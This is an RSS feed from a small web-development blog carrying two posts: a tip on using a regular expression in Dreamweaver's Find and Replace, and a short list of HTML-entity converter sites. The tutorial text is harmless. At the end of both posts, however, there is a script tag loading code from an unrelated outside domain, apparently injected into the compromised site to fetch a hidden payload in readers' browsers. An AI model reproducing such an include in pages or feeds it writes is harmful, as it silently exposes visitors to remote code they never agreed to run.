<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Spoonfed Project &#187; HTML</title>
	<atom:link href="http://spoonfedproject.com/category/html/feed/" rel="self" type="application/rss+xml" />
	<link>http://spoonfedproject.com</link>
	<description>Feeding developers quality resources from across the web</description>
	<lastBuildDate>Sat, 05 Jun 2010 13:39:45 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Using Regular Expressions with Dreamweaver&#8217;s Find and Replace</title>
		<link>http://spoonfedproject.com/html/using-regular-expressions-with-dreamweavers-find-and-replace/</link>
		<comments>http://spoonfedproject.com/html/using-regular-expressions-with-dreamweavers-find-and-replace/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 00:39:33 +0000</pubDate>
		<dc:creator>brobison</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[dreamweaver]]></category>
		<category><![CDATA[regular expressions]]></category>

		<guid isPermaLink="false">http://spoonfedproject.com/?p=204</guid>
		<description><![CDATA[
Having had the pleasureable task of cleaning up code, I&#8217;ve found using regular expressions with Dreamweaver&#8217;s Find and Replace tool to be a lifesaver.
Say you have several links on a page that need to be updated so they all point to the same url. Instead of manually changing every link, we&#8217;ll let Dreamweaver&#8217;s Find and ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://spoonfedproject.com/html/using-regular-expressions-with-dreamweavers-find-and-replace/" title="Using Regular Expressions with Dreamweaver's Find and Replace"><img src="http://spoonfedproject.com/wp-content/uploads/2009/09/regular-expressions.png" alt="Using Regular Expressions with Dreamweaver's Find and Replace" /></a></p>
<p>Having had the pleasureable task of cleaning up code, I&#8217;ve found using regular expressions with Dreamweaver&#8217;s Find and Replace tool to be a lifesaver.</p>
<p>Say you have several links on a page that need to be updated so they all point to the same url. Instead of manually changing every link, we&#8217;ll let Dreamweaver&#8217;s Find and Replace tool and regular expressions automate this for us.</p>
<p><span id="more-204"></span></p>
<p><object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,115,0' width='560' height='345'><param name='movie' value='http://screenr.com/Content/assets/screenr_0817090731.swf' /><param name='flashvars' value='i=11726' /><param name='allowFullScreen' value='true' /><embed src='http://screenr.com/Content/assets/screenr_0817090731.swf' flashvars='i=11726' allowFullScreen='true' width='560' height='345' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object></p>
<p><em>The magic behind this is using our little expression: [^"]*</em></p>
<p>Here&#8217;s a breakdown of what these characters are doing.</p>
<ul>
<li>^ Match any character starting from this point</li>
<li>&#8221; Stop once you&#8217;ve reached a quote</li>
<li>* Match the preceding character zero or more times</li>
</ul>
<p>Basically, this means we want to find whatever information is between the two quotes and replace it.</p>
<p>Regular expressions are a very valuable tool. The expression above is only one way in which they can be used. For an in depth tutorial, checkout <a href="http://blog.themeforest.net/screencasts/regular-expressions-for-dummies/" title="ThemeForest's - Regular Expressions for Dummies">ThemeForest&#8217;s &#8211; Regular Expressions for Dummies</a>.</p>
<p>Just a word of caution&#8230; please be sure to make a backup copy first. If you ever need to refer back to the original, or if you accidently replaced code that you shouldn&#8217;t have, you&#8217;ll thank yourself later.</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://spoonfedproject.com/html/using-regular-expressions-with-dreamweavers-find-and-replace/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Easily convert characters to HTML entities</title>
		<link>http://spoonfedproject.com/html/easily-convert-characters-to-html-entities/</link>
		<comments>http://spoonfedproject.com/html/easily-convert-characters-to-html-entities/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 04:09:10 +0000</pubDate>
		<dc:creator>brobison</dc:creator>
				<category><![CDATA[HTML]]></category>

		<guid isPermaLink="false">http://spoonfedproject.com/?p=157</guid>
		<description><![CDATA[
Posting code within a comment or post can often be a royal pain! Converting every instance of an HTML bracket from &#8220;&#60;&#8221; and &#8220;&#62;&#8221; to &#8220;&#38;lt;&#8221; and &#8220;&#38;gt;&#8221;, is not only frustrating but a complete waist of time. Fortunately, there are a few websites out there that will do the dirty work for us.

These converters ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://spoonfedproject.com/html/easily-convert-characters-to-html-entities"><img src="http://spoonfedproject.com/wp-content/uploads/2009/03/postable.png" alt="postable" title="postable" width="546" height="200" class="aligncenter size-full wp-image-158" /></a></p>
<p>Posting code within a comment or post can often be a royal pain! Converting every instance of an HTML bracket from &#8220;&lt;&#8221; and &#8220;&gt;&#8221; to &#8220;&amp;lt;&#8221; and &#8220;&amp;gt;&#8221;, is not only frustrating but a complete waist of time. Fortunately, there are a few websites out there that will do the dirty work for us.</p>
<p><span id="more-157"></span><code></p>
<p>These converters will also handle the following <a href="http://www.w3schools.com/tags/ref_entities.asp" title="HTML Characters and Symbols">HTML characters</a> converting them to their respective <a href="http://www.w3schools.com/tags/ref_entities.asp" title="HTML Characters and Symbols">HTML entities</a>.</p>
<ol>
<li>&lt; to &amp;lt;</li>
<li>&gt; to &amp;gt;</li>
<li>&#039; to &amp;#039;</li>
<li>&quot; to &amp;quot;</li>
<li>&amp; to &amp;amp;</li>
</ol>
<h4>Postable</h4>
<p>Postable seems to be the complete package since it converts all HTML characters and symbols.</p>
<p>Link: <a href="http://www.elliotswan.com/postable/" title="Postable">http://www.elliotswan.com/postable/</a></p>
<h4>i Make Postable</h4>
<p>This is fine for most situations, but it doesn't support conversion for HTML symbols.</p>
<p>Link: <a href="http://www.khurshid.com/i-make-postable/" title="i Make Postable">http://www.khurshid.com/i-make-postable/</a></p>
<h4>Postable (Noteslog)</h4>
<p>I found this to be identical to i Make Postable.</p>
<p>Link: <a href="http://noteslog.com/personal/projects/postable/" title="Postable (Noteslog)">http://noteslog.com/personal/projects/postable/</a></p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://spoonfedproject.com/html/easily-convert-characters-to-html-entities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
